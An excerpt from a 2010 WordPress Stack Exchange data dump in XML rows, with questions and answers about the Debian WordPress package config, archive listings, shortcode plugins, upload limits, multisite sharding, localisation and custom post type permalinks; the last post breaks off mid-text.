  <row Id="2816" PostTypeId="1" AcceptedAnswerId="2910" CreationDate="2010-10-12T13:19:32.500" Score="2" ViewCount="548" Body="&lt;p&gt;So I wanted to play with some Linux-only PHP performance tools and installed Ubuntu Server 10.10 in VirtualBox (for the record I have little clue about Linux, never used it extensively).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Turned out Ubuntu (Debian) has &lt;a href=&quot;http://packages.ubuntu.com/maverick/wordpress&quot; rel=&quot;nofollow&quot;&gt;WordPress package&lt;/a&gt; that does some things differently then I am used to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was especially puzzled with this instead of usual &lt;code&gt;wp-config.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$debian_server = preg_replace('/:.*/', &quot;&quot;, $_SERVER['HTTP_HOST']);&#xA;$debian_server = preg_replace(&quot;/[^a-zA-Z0-9.\-]/&quot;, &quot;&quot;, $debian_server);&#xA;$debian_file = '/etc/wordpress/config-'.strtolower($debian_server).'.php';&#xA;&#xA;if (!file_exists($debian_file)) {&#xA;    header(&quot;HTTP/1.0 404 Not Found&quot;);&#xA;echo &quot;&amp;lt;b&amp;gt;$debian_file&amp;lt;/b&amp;gt; could not be found. The file is either not readable by this process or does not exist. &amp;lt;br&amp;gt;&#xA;    Please check if &amp;lt;b&amp;gt;$debian_file&amp;lt;/b&amp;gt; exists and contains the right password/username.&quot;;&#xA;    exit(1);&#xA;}&#xA;&#xA;require_once($debian_file);&#xA;&#xA;define('ABSPATH', '/usr/share/wordpress/');&#xA;define('WP_CORE_UPDATE', false);&#xA;define('WP_ALLOW_MULTISITE', true);&#xA;&#xA;require_once(ABSPATH.'wp-settings.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why does it do stuff this way? Does it play well with multisite and WordPress in general? Do I understand right that I won't be able to update WordPress core of such install, other than by updating package?&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-10-15T23:12:51.557" Title="WordPress package configuration in Ubuntu Server?" Tags="&lt;installation&gt;&lt;linux&gt;" AnswerCount="3" />
  <row Id="2817" PostTypeId="1" AcceptedAnswerId="2820" CreationDate="2010-10-12T13:33:19.150" Score="1" ViewCount="260" Body="&lt;p&gt;Hay, the example on the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_get_archives&quot; rel=&quot;nofollow&quot;&gt;wp_get_archives documentation page&lt;/a&gt; shows how to show a list of all the posts, by months. However if there is no posts for a month, the month doesnt get displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So an example list could look like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Janauary (5)&#xA;March (1)&#xA;April (1)&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a way to force the list to display a month, even if no posts exist?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="376" LastActivityDate="2010-10-12T13:54:40.463" Title="wp_get_archives() display months even if there is no posts" Tags="&lt;archive&gt;&lt;list&gt;&lt;wp-get-archives&gt;" AnswerCount="1" />
  <row Id="2818" PostTypeId="2" ParentId="2816" CreationDate="2010-10-12T13:33:55.390" Score="2" ViewCount="" Body="&lt;p&gt;By the looks of it loads the config file from the &lt;code&gt;/etc/wordpress&lt;/code&gt; directory instead of from &lt;code&gt;/usr/share/wordpress&lt;/code&gt;, where the package is installed by default, probably for security reasons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would recommend not using the package and instead installing WordPress as you would with any other installation - the setup it uses here &lt;em&gt;could&lt;/em&gt; affect you later on - the package might not be updated, which would then make updating WP core more difficult.&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2010-10-12T13:33:55.390" />
  <row Id="2819" PostTypeId="1" AcceptedAnswerId="2821" CreationDate="2010-10-12T13:43:58.567" Score="2" ViewCount="133" Body="&lt;p&gt;All tutorials I have found say to add your shortcodes to functions.php in your theme. I would like to break that away from my theme and put that in a plugin so I can share these shortcodes between my network of blogs. Is there a reference or tutorial on creating these shortcodes in a plugin?&lt;/p&gt;&#xA;" OwnerUserId="104" LastActivityDate="2010-10-12T18:53:13.633" Title="How would I create a plugin for my shortcodes?" Tags="&lt;plugin-development&gt;&lt;shortcode&gt;" AnswerCount="2" />
  <row Id="2820" PostTypeId="2" ParentId="2817" CreationDate="2010-10-12T13:54:40.463" Score="1" ViewCount="" Body="&lt;p&gt;I've looked over code and it doesn't seem possible with this function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Months and their post counts are fetched with raw SQL query, for months without posts there are simply no records in database. It doesn't make effort to skip empty month, it simply doesn't get those from database.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-10-12T13:54:40.463" />
  <row Id="2821" PostTypeId="2" ParentId="2819" CreationDate="2010-10-12T13:58:51.920" Score="1" ViewCount="" Body="&lt;p&gt;Code in &lt;code&gt;functions.php&lt;/code&gt; and plugins works in almost exactly same way (except than stage at which it is loaded and some plugin-specific hooks).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically you just take your code out of &lt;code&gt;functions.php&lt;/code&gt;, place it in plugin and it still works. It is good practice to use naming conventions and checking for functions definitions so it doesn't explode if you accidentally load both copies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But there will be no difference in how code actually works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://codex.wordpress.org/Writing_a_Plugin&quot; rel=&quot;nofollow&quot;&gt;Writing a Plugin&lt;/a&gt; for a starting point.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-10-12T13:58:51.920" />
  <row Id="2822" PostTypeId="2" ParentId="2811" CreationDate="2010-10-12T15:02:21.460" Score="3" ViewCount="" Body="&lt;p&gt;I haven't used Socialite before today, so I did a quick install to see if I could reproduce the problem and ... wow ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The system is &lt;em&gt;definitely&lt;/em&gt; broken.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Facebook requires you to partially host your application on your own server.  You set up some integration so you can use its API, but most of the work actually happens off-site.  With other WordPress-Facebook integrations, you blog itself becomes the application ... Socialite seems to be hooking in to a system hosted by the plug-in developers as well.  This causes a significant problem because your site then becomes dependent on an external system to function properly - an external system that appears to be malfunctioning at the moment.  Also note that the last update to the system was made in December 2009 and the plug-in might not even be compatible with WP 3+.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue I see:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;The URL the plug-in sends you to is correct.&lt;/em&gt;  Every application must ask your permission to do things with your account, and it gets at least &lt;em&gt;that&lt;/em&gt; far.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;The callback URL seems to be broken.&lt;/em&gt;  After authorizing an application, you're supposed to be sent to a specific callback URL (my guess is this will be the page that provides the &quot;one time code&quot; you enter into the plug-in configuration).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So for now, write Socialite off as &quot;broken&quot; and try another system.  I recommend &lt;a href=&quot;http://wordpress.org/extend/plugins/wpbook/&quot; rel=&quot;nofollow&quot;&gt;WPBook&lt;/a&gt; - it allows you to turn your blog into an application on Facebook, add it as a tab to your profile, add it as a tab to a fan page, and integrate comments between the two systems.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-10-12T15:02:21.460" CommentCount="5" />
  <row Id="2823" PostTypeId="1" AcceptedAnswerId="2824" CreationDate="2010-10-12T15:16:55.833" Score="2" ViewCount="822" Body="&lt;p&gt;How can I change the Maximum upload file size? I would like to be able to upload 10Mb at a time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/9PZ7Q.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="193" LastActivityDate="2011-05-05T12:51:08.147" Title="How to increase the file size limit for media uploads?" Tags="&lt;wp-admin&gt;&lt;media&gt;&lt;uploads&gt;" AnswerCount="2" />
  <row Id="2824" PostTypeId="2" ParentId="2823" CreationDate="2010-10-12T15:23:38.567" Score="7" ViewCount="" Body="&lt;p&gt;This is due to the PHP limitations on file size uploads. If you have access to your php.ini file, you can modify the following lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;upload_max_filesize = 10M&#xA;post_max_size = 10M&#xA;max_execution_time = 300&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you don't have access to the php.ini file (such as a hosting situation), you may need to contact your webhost and see if they will increase it for you. I have also seen users create a php.ini file with just these values and place it in the file where WordPress is installed. If your PHP instance allows for &quot;inherited configurations&quot; it will allow these local settings to override the global.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other solution would be to add the code dynamically into WordPress to make this change for you. &lt;a href=&quot;http://simplercomputing.net/2009/02/13/fix-php-max-upload-size-wordpress/&quot; rel=&quot;nofollow&quot;&gt;This article&lt;/a&gt; has a nice way of doing it through a &quot;plugin&quot;. I've seen dubious results from this approach (some report success, some report no success) so I can't say for sure if it will work for you.&lt;/p&gt;&#xA;" OwnerUserId="1165" LastActivityDate="2010-10-12T15:23:38.567" CommentCount="2" />
  <row Id="2825" PostTypeId="1" CreationDate="2010-10-12T15:29:54.120" Score="6" ViewCount="553" Body="&lt;p&gt;I've got a WordPress multisite installation that's hosting enough blogs I need to shard the database. I see there are three plugins available to spread WordPress across multiple databases:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/hyperdb/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/hyperdb/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://premium.wpmudev.org/project/multi-db&quot; rel=&quot;nofollow&quot;&gt;http://premium.wpmudev.org/project/multi-db&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/shardb/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/shardb/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm trying to decide which one to use, but I &lt;a href=&quot;http://mu.wordpress.org/forums/topic/16244&quot; rel=&quot;nofollow&quot;&gt;haven't really found much info comparing them&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have experience deploying any of these three tools? Or better yet, experience with more than one of them and a rundown of why you switched?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, Bethany&lt;/p&gt;&#xA;" OwnerUserId="1220" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2010-10-12T15:40:54.623" LastActivityDate="2011-01-10T08:33:22.380" Title="WordPress sharding: which multi-DB plugin to use?" Tags="&lt;plugins&gt;&lt;multisite&gt;&lt;database&gt;" AnswerCount="3" CommentCount="3" FavoriteCount="3" />
  <row Id="2826" PostTypeId="2" ParentId="2825" CreationDate="2010-10-12T16:56:18.130" Score="2" ViewCount="" Body="&lt;p&gt;I would go with HyperDB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's developed by core WP developers and based on code used at Wordpress.com.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/support/topic/shardb-or-hyperdb&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/shardb-or-hyperdb&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SharDB might be a little easier to setup but probably has less features than HyperDB. I'd say take a look at those two and figure out which one best matches your needs.&lt;/p&gt;&#xA;" OwnerUserId="1222" LastActivityDate="2010-10-12T16:56:18.130" CommentCount="1" />
  <row Id="2827" PostTypeId="2" ParentId="2819" CreationDate="2010-10-12T18:53:13.633" Score="2" ViewCount="" Body="&lt;p&gt;Basically, you just prepend your functions with a plugin header. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a really simple example, I just put my shortcode plugin to GitHub: &lt;a href=&quot;http://github.com/toscho/WordPress-Shortcodes&quot; rel=&quot;nofollow&quot;&gt;http://github.com/toscho/WordPress-Shortcodes&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is missing I18n – as usual :) – but it should give you some hints.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2010-10-12T18:53:13.633" CommentCount="1" />
  <row Id="2828" PostTypeId="1" AcceptedAnswerId="2829" CreationDate="2010-10-12T19:07:43.853" Score="1" ViewCount="196" Body="&lt;p&gt;I've got a dashboard widget that pulls from an RSS feed on my central server and allows anyone using my theme to see newly available skins. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the dashboard widget, I'm currently presenting a thumbnail image of the skin along with a description and a link to download. I'd like to enable the thumbnail so that when clicked, it will open the full size image in a lightbox over the wordpress dashboard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to install as little extras as possible to make this possible. My theme is already including jquery-1.4.2.min.js and I'd like to build off that if possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2010-10-12T19:29:10.823" Title="Easy lightbox effect inside of dashboard widget" Tags="&lt;theme-development&gt;&lt;dashboard&gt;" AnswerCount="1" />
  <row Id="2829" PostTypeId="2" ParentId="2828" CreationDate="2010-10-12T19:29:10.823" Score="1" ViewCount="" Body="&lt;p&gt;WordPress already ships with both jQuery and jQuery UI.  Rather than including them manually, you can call them by using &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_script#Default_scripts_included_with_WordPress&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_enqueue_script&lt;/code&gt;&lt;/a&gt;.  I'm personally a big fan of the &lt;a href=&quot;http://jqueryui.com/demos/dialog/&quot; rel=&quot;nofollow&quot;&gt;jQuery UI Dialog&lt;/a&gt; setup (which also ships with WordPress) ... it should be easy enough to attach a click handler to your thumbnail such that clicking launches a jQuery dialog.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-10-12T19:29:10.823" />
  <row Id="2830" PostTypeId="1" AcceptedAnswerId="2882" CreationDate="2010-10-12T19:47:23.840" Score="2" ViewCount="343" Body="&lt;p&gt;I was wondering if anyone could give me some suggestions on how best I could streamline the following;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a WordPress blog (privately hosted) which I update daily (well, I normally schedule a load of updates at once) with pictures which I upload, tag and write a very brief comment on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was originally considering a folder on the server I could FTP images into and then I would write something that would look there daily and create a post based on the picture, but then I wasn't sure about the meta data that I want along with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S I would make this a community wiki (as I am not sure there is even one answer let alone one stand out correct answer!) but I don't have enough the right privileges yet!&lt;/p&gt;&#xA;" OwnerUserId="1213" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-10-14T02:36:15.537" LastActivityDate="2011-06-01T06:10:57.220" Title="Automating a Daily Picture Blog?" Tags="&lt;images&gt;&lt;uploads&gt;&lt;automate&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" />
  <row Id="2831" PostTypeId="1" AcceptedAnswerId="2832" CreationDate="2010-10-12T19:52:19.893" Score="1" ViewCount="1127" Body="&lt;p&gt;Sorry for this complete newbie question, but I googled it and cannot find this simple information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just installed Wordpress today. &#xA;Right now all text on my Wordpress Blog is in English: &quot;Home&quot;, &quot;About&quot;, &quot;Comments&quot;, etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I change the language?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Update: I am actually not out of the woods yet with this one.&#xA;I have:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;located the fr_FR.mo file and copied it into a new directory '/wp-content/languages/'&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Modified the wp-config.php file to have the following line into it:&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;define ('WPLANG', 'fr_FR');&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Unfortunately I still get the interface in English.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Ok, I found the problem: I was adding the line:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;define ('WPLANG', 'fr_FR');&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;when in fact there was &lt;em&gt;already&lt;/em&gt; another line of code:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;define ('WPLANG', );&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;which was probably overriding my bit of code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for your help.&lt;/p&gt;&#xA;" OwnerUserId="1224" LastEditorUserId="1224" LastEditorDisplayName="" LastEditDate="2010-10-14T04:41:33.497" LastActivityDate="2010-10-14T04:41:33.497" Title="How to change language?" Tags="&lt;multi-language&gt;" AnswerCount="2" CommentCount="4" />
  <row Id="2832" PostTypeId="2" ParentId="2831" CreationDate="2010-10-12T19:58:08.400" Score="3" ViewCount="" Body="&lt;p&gt;See &lt;a href=&quot;http://codex.wordpress.org/Installing_WordPress_in_Your_Language&quot; rel=&quot;nofollow&quot;&gt;Installing WordPress in Your Language&lt;/a&gt; in the codex.&lt;/p&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-10-12T19:58:08.400" CommentCount="1" />
  <row Id="2833" PostTypeId="2" ParentId="2831" CreationDate="2010-10-12T19:59:23.993" Score="1" ViewCount="" Body="&lt;p&gt;Most of those things can be changed in your template files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you should also read -&gt; &lt;a href=&quot;http://codex.wordpress.org/WordPress_in_Your_Language&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/WordPress_in_Your_Language&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1213" LastActivityDate="2010-10-12T19:59:23.993" />
  <row Id="2834" PostTypeId="2" ParentId="2830" CreationDate="2010-10-12T20:25:44.820" Score="2" ViewCount="" Body="&lt;p&gt;I would actually recommend using the built-in post by email functionality instead.  You set up a private email address (&lt;code&gt;mysupersecretaddress12345@mydomain.com&lt;/code&gt;) and send both the images and your descriptions to that address.  WordPress will then create a new post from your email and automatically attach the image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a bit easier than FTP.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-10-12T20:25:44.820" CommentCount="6" />
  <row Id="2835" PostTypeId="1" CreationDate="2010-10-12T21:17:47.673" Score="1" ViewCount="100" Body="&lt;p&gt;I'm using the post thumbnail feature to show portfolio work, so for example &lt;code&gt;&amp;lt;?php the_post_thumnail(); ?&amp;gt;&lt;/code&gt; the problem is I want to show a particular width of image only, which is 640 but because my pieces are website they have varying heights.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using this code to create the images: &lt;code&gt;add_image_size( '640', 480 ,true ); // 640x480 image size&lt;/code&gt; but it's specifying the height how can I ONLY specify the width??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ps. I know I could use CSS, but I want to actually create images at 640 wide and not use any timthumb stuff etc. Thanks&lt;/p&gt;&#xA;" OwnerUserId="881" LastActivityDate="2010-10-12T21:46:53.383" Title="Post Thumbnail help" Tags="&lt;3.0&gt;" AnswerCount="1" />
  <row Id="2836" PostTypeId="2" ParentId="2835" CreationDate="2010-10-12T21:46:53.383" Score="3" ViewCount="" Body="&lt;p&gt;That is one strange &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_image_size&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;add_image_size()&lt;/code&gt;&lt;/a&gt; call. You are missing size's name and mixing up string with integer. And you specify crop mode, when you actually need resize mode. Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_image_size( 'portfolio-shot', 640, 9999 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then fetch it with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;the_post_thumbnail( 'portfolio-shot' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should properly register image size under &lt;code&gt;portfolio-shot&lt;/code&gt; name in soft-resize mode to width 640px. Note that (unless there were changes in recent WP versions, not sure) new size will be effective only for new uploads.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See this tutorial for excellent writeup on using related functions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://markjaquith.wordpress.com/2009/12/23/new-in-wordpress-2-9-post-thumbnail-images/&quot; rel=&quot;nofollow&quot;&gt;New in WordPress 2.9: Post Thumbnail Images&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-10-12T21:46:53.383" />
  <row Id="2837" PostTypeId="1" AcceptedAnswerId="2870" CreationDate="2010-10-12T23:04:28.750" Score="2" ViewCount="193" Body="&lt;p&gt;What is a good plugin to do surveys for wordpress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can think of creating a custom contact form 7 - but i was having problem in the formatting and separating it from the body of the post visually.&#xA;and it doesn't store survey result in some document or spreadsheet, so eventually i'll have to track everything manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so - i am on the hunt for a survey specific plugin.&#xA;the questions are simple, i need option buttons, check boxes, text boxes - and like 10 questions max - nothing fancy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for the help&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suggestions other than poll-daddy are welcomed :)&lt;/p&gt;&#xA;" OwnerUserId="692" LastEditorUserId="692" LastEditorDisplayName="" LastEditDate="2010-10-12T23:15:54.200" LastActivityDate="2010-10-13T23:36:25.830" Title="Survey plugin recommendations" Tags="&lt;plugins&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="1" />
  <row Id="2838" PostTypeId="1" AcceptedAnswerId="2871" CreationDate="2010-10-13T02:38:12.380" Score="1" ViewCount="498" Body="&lt;p&gt;I have strange situation which just started which I seem to be unable to resolved. I am not sure what this might be related to but I think I remember reading somewhere that this has happened to someone else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Upon logging into WordPress then going into the menu management area, then clicking on &quot;screen options&quot; and enabling the view of a menu metabox for a custom post type that was created and then adding a page from that post type to the menu the menu management area started showing a Internal Server Error 500 message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every other area of the website and admin area works perfectly except for the menu management link. I have attempted everything I can think of in an effort to resolve the problem including removing every plugin and customization made to my &lt;code&gt;functions.php&lt;/code&gt; file however I can't get the issue resolved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was hoping someone here might able to help me resolve this issue or suggest anything to diagnose this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is greatly appreciated!&lt;/p&gt;&#xA;" OwnerUserId="479" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-10-16T04:34:38.023" LastActivityDate="2011-04-14T02:04:44.290" Title="How to fix strange 500 Error after Editing Menu?" Tags="&lt;custom-menus&gt;&lt;errors&gt;&lt;404-error&gt;" AnswerCount="4" FavoriteCount="1" />
  <row Id="2839" PostTypeId="1" CreationDate="2010-10-13T02:56:31.837" Score="4" ViewCount="1395" Body="&lt;p&gt;I have moved into WordPress for a few days and was quite impressed by all the available features, plugins and polished themes. I have spent quite some times reading documentation about themes and custom types. So far so good...&#xA;Now that I'm trying to do real things, it seems (but I maybe missing something) that WP has  some sever limitations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to come up with a classical ISV site. A typical hierarchy would be:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Products&lt;/li&gt;&#xA;&lt;li&gt;-- Product A&lt;/li&gt;&#xA;&lt;li&gt;---- Overview&lt;/li&gt;&#xA;&lt;li&gt;---- Release History&lt;/li&gt;&#xA;&lt;li&gt;------- Release 1.5 &lt;/li&gt;&#xA;&lt;li&gt;------- Release 1.4&lt;/li&gt;&#xA;&lt;li&gt;------- Release 1.3&lt;/li&gt;&#xA;&lt;li&gt;------- etc.&lt;/li&gt;&#xA;&lt;li&gt;---- Features&lt;/li&gt;&#xA;&lt;li&gt;---- etc.&lt;/li&gt;&#xA;&lt;li&gt;-- Product B&lt;/li&gt;&#xA;&lt;li&gt;---- Overview&lt;/li&gt;&#xA;&lt;li&gt;List item &lt;/li&gt;&#xA;&lt;li&gt;etc...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Focusing on Release History, I came up with:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;a custom content type: &quot;releases&quot;.&lt;/li&gt;&#xA;&lt;li&gt;a custom taxonomy to specify the product associated with a specific &quot;release&quot;.&lt;/li&gt;&#xA;&lt;li&gt;I created a template to display the list of &quot;releases&quot;.&lt;/li&gt;&#xA;&lt;li&gt;Created a single-release.php to display the detail of a release.&lt;/li&gt;&#xA;&lt;li&gt;Created a page based on my template.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The page URL that display the list of &quot;releases&quot; will basically fit into the hierarchy (/products/product-a/release-history/). However the URL of the custom post type will be something like:&#xA;/%post_type%/%post_slug%/ (ie: /releases/version 1.2/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm struggling for 2 days trying to find a solution for coming with a coherent URL scheme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to use to use Custom post permalinks plugin to come up with an URL that would include my custom taxonomy representing the product (better than nothing even if it's not perfect) but for some reason the plugin doesn't work on my side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Overall, unless I'm missing something, Custom Post Types sound great but are quite a nightmare if you don't have a flat structure. I would certainly have preferred a concept of custom content type that is not URL dependant or an easy way to plug a custom post type at any level in the page hierarchy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, I may be completely missing the point. Does anybody have any idea, experience when setting up a site with this kind of hierarchy? Any help appreciated...&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;[Update]&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Not completely sure what are the conventions when updating here but I will leave the initial text for clarity purposes. The purpose of this update is to clarify and add further details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Products&lt;/em&gt;&lt;br&gt;&#xA;Created a WP page 'Products' - no parent - URL: http:///products/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Product A (specific product)&lt;/em&gt;&lt;br&gt;&#xA;Created a WP page 'Product A' - parent: 'Products' - URL: http:///products/product-a/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Overview&lt;/em&gt;&lt;br&gt;&#xA;Created a WP page 'Overview' - parent: 'Product A' - URL: http:///products/product-a/overview/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Releases (list of release for the specific product )&lt;/em&gt;&lt;br&gt;&#xA;Created a WP page 'What's New' - applied a template that displays a list of all available releases (each release has a link to display the detail of that specific release) - parent: 'Product A' - URL: http:///products/product-a/product-releases/.&lt;br&gt;&#xA;Releases are implemented using a custom type (see below). It was therefore quite easy to implement the template and link to release permalink.&#xA;Though I haven't implemented it yet, my idea was that the template would display the release list for any product based on a taxonomy (product-id) defined at the page level. I could therefore have another page using the same template that would display the releases for another product by having the proper 'product-id' taxonomy attached to this other page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Release (detail of a release)&lt;/em&gt;&lt;br&gt;&#xA;Releases are implemented using a Custom Post Type (let's call it 'product-release').&#xA;In addition, I'm using a custom Taxonomy (product-id) to attach each release to a specific product (obviously, I don't want to create another Custom Post Type for the releases related to another product).&lt;br&gt;&#xA;Created a 'single-product-release.php' file to display a specific release.&#xA;The problem with this approach is that a specific release will be displayed with the following URL:&#xA;&lt;code&gt;http://&amp;lt;root&amp;gt;/product-releases/release-xx&lt;/code&gt;  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It's not really descriptive, the least we can say (I should at least get some product identifier in the url)&lt;/li&gt;&#xA;&lt;li&gt;it somewhat breaks the hierarchy (though one could certainly argue regarding if it's wrong or not)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;My Options (as far as I can see as a WordPress newbie)&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Get rid of the permalink stuff&lt;/em&gt;&lt;br&gt;&#xA;Maybe I could display the detail of a release using some template and passing some argument in the URL. I could use this template with a page that would go exactly where I want in the hierarchy.&lt;br&gt;&#xA;Obviously not an approach I would follow ... for many reasons I won't detail here (that's already a long post/question). 